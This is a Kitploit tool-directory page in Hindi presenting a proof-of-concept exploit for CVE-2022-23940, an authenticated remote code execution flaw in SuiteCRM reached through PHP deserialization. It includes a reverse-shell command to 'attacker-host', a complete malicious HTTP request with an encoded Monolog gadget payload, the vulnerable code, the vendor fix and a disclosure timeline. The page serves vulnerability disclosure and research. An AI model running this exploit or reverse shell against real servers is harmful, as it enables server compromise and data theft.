Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-23940 — CVE-2022-23940 के लिए PoC | Kitploit
उपकरण/GitHubGitHub/manuelz120/cve-2022-23940
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubmanuelz120/cve-2022-23940

CVE-2022-23940

CVE-2022-23940 के लिए PoC

रिपॉजिटरी देखें
14721 साल पहलेअभी तक समीक्षित नहीं
वेबसाइट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-23940

CVE-2022-23940 उर्फ SCRMBT-#187 के लिए PoC - SuiteCRM (<= 7.12.4) और SuiteCRM-Core (<= 8.0.3) में शेड्यूल्ड रिपोर्ट्स के माध्यम से प्रमाणित रिमोट कोड निष्पादन (Authenticated Remote Code Execution)।

यह भेद्यता SalesAgility को सूचित की गई थी और SuiteCRM 7.12.5 और SuiteCRM Core 8.0.4 में ठीक कर दी गई है। प्रभावित संस्करणों में, कोई भी उपयोगकर्ता जिसके पास शेड्यूल्ड रिपोर्ट्स (Scheduled Reports) बनाने की अनुमति है, वह रिमोट कोड निष्पादन प्राप्त कर सकता है और सर्वर से समझौता कर सकता है। यदि आप SuiteCRM के पुराने संस्करणों का उपयोग कर रहे हैं, तो मैं अत्यधिक सलाह देता हूँ कि आप अपडेट करें।

उपयोग (Usage)

स्थापना (Installation)

  1. सुनिश्चित करें कि आपके पास python3 और pip का हालिया संस्करण स्थापित है।
  2. रिपॉजिटरी क्लोन करें: git clone https://github.com/manuelz120/CVE-2022-23940.git
  3. आवश्यक लाइब्रेरी स्थापित करें pip3 install -r "requirements.txt"
  4. आनंद लें :)

उपलब्ध विकल्प:

root@kitploit:~
(.venv) ➜  CVE-2022-23940 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT        Root of SuiteCRM installation. Defaults to
                         http://localhost
  -u, --username TEXT    Username
  -p, --password TEXT    password
  -P, --payload TEXT     Shell command to be executed on target system
  -d, --is_core BOOLEAN  SuiteCRM Core (>= 8.0.0). Defaults to False
  --help                 Show this message and exit.

  https://github.com/manuelz120/CVE-2022-23940

उदाहरण उपयोग:

asciicast

root@kitploit:~
# Spawning a PHP Reverse shell to attacker-host on port 4444
./exploit.py -u user -p redacted --payload "php -r '\$sock=fsockopen(\"attacker-host\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"

विश्लेषण (Writeup)

जो उपयोगकर्ता शेड्यूल्ड रिपोर्ट्स (Scheduled Reports) बना सकते हैं (AOR_Scheduled_Reports मॉड्यूल में प्रविष्टियाँ बना सकते हैं), वे PHP डिसीरियलाइज़ेशन भेद्यता (PHP deserialization vulnerability) का दुरुपयोग करके सर्वर पर मनमाना कोड निष्पादित कर सकते हैं।

AOR_Scheduled_Reports मॉड्यूल रिपोर्ट के ईमेल प्राप्तकर्ताओं को डेटाबेस में सीरियलाइज़्ड, बेस64 एन्कोडेड स्ट्रिंग्स के रूप में संग्रहीत करता है। जब किसी शेड्यूल्ड रिपोर्ट के लिए डेटा प्राप्त होता है, तो उल्लिखित कॉलम डिसीरियलाइज़ हो जाता है। यदि हमलावर इस कॉलम में मनमानी सामग्री डालने में सक्षम होते हैं, तो वे विभिन्न PHP डिसीरियलाइज़ेशन गैजेट्स के माध्यम से RCE प्राप्त कर सकते हैं (मेरे परीक्षणों में मैंने phpggc टूल से Monolog/RCE2 का उपयोग किया)।

पेलोड को AOR_Scheduled_Reports मॉड्यूल के लीगेसी सेव कॉल का उपयोग करके डेटाबेस में संग्रहीत किया जा सकता है। सर्वर गलती से मान लेता है कि email_recipients पैरामीटर हमेशा एक ऐरे (array) होता है। हालाँकि, यदि कोई दुर्भावनापूर्ण क्लाइंट email_recipients को केवल एक स्ट्रिंग के रूप में भेजता है, तो डेटा डेटाबेस में वैसे ही संग्रहीत हो जाता है जैसा है। एक बार डिसीरियलाइज़ होने पर, गैजेट सर्वर पर निष्पादित हो जाते हैं और हम रिमोट कोड निष्पादन प्राप्त कर लेते हैं।

AOR_Scheduled_Reports वर्ग में save फ़ंक्शन का भेद्य कार्यान्वयन। नीचे, हम देख सकते हैं कि get_email_recipients डेटाबेस में संग्रहीत सामग्री पर unserialize को कॉल करता है:

root@kitploit:~
// SuiteCRM-Core/public/legacy/modules/AOR_Scheduled_Reports/AOR_Scheduled_Reports.php

public function save($check_notify = false)
{
    if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
        $this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
    }

    return parent::save($check_notify);
}

public function get_email_recipients()
{
    $params = unserialize(base64_decode($this->email_recipients));
    // ....

ऐसी दुर्भावनापूर्ण शेड्यूल्ड रिपोर्ट बनाने के लिए एक उदाहरण अनुरोध इस प्रकार दिखता है (यदि आप email_recipients के मान को डिकोड करते हैं, तो आप देख सकते हैं कि यह केवल touch /tmp/hacked निष्पादित करता है):

root@kitploit:~
POST /index.php HTTP/1.1
Host: localhost
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: http://localhost
content-type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e7alkhdo7lrknc8a7l6v2rpanr; sugar_user_theme=SuiteP
Content-Length: 999

module=AOR_Scheduled_Reports&action=Save&name=test&status=active&schedule_type=monthly&email_recipients=YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ%3D%3D%0A

लागू किया गया फिक्स (Implemented fix)

यदि हम फिक्स्ड कोड को देखें, तो हम देख सकते हैं कि डेवलपर्स ने एक नया parseRecipients फ़ंक्शन जोड़ा है जो डेटाबेस में सहेजने से पहले email_recipients पैरामीटर में संग्रहीत डेटा को पार्स और मान्य करता है। केवल यदि मान अपेक्षित प्रारूप से मेल खाता है, तो डेटा संग्रहीत किया जाता है। इसलिए, Deserialization RCE अब काम नहीं करता:

https://github.com/salesagility/SuiteCRM-Core/commit/63b969478d812d5ed937bf54fe5b174232e91a00#diff-0c100713e7e6c2c4c068cb4fe88342c6b0166cfcf06f57589120853a3f2ad2f2R205-R221

fixed code

समयरेखा (Timeline)

  • 24/01/2022: भेद्यता की खोज की गई और SuiteCRM को सूचित किया गया
  • 25/01/2022: विक्रेता (SalesAgility) द्वारा भेद्यता की पुष्टि की गई
  • 02/03/2022: फिक्स्ड संस्करणों की रिलीज़ (SuiteCRM 7.12.5 और SuiteCRM Core 8.0.4)

क्रेडिट (Credits)

  • phpggc
टूल डाउनलोड करें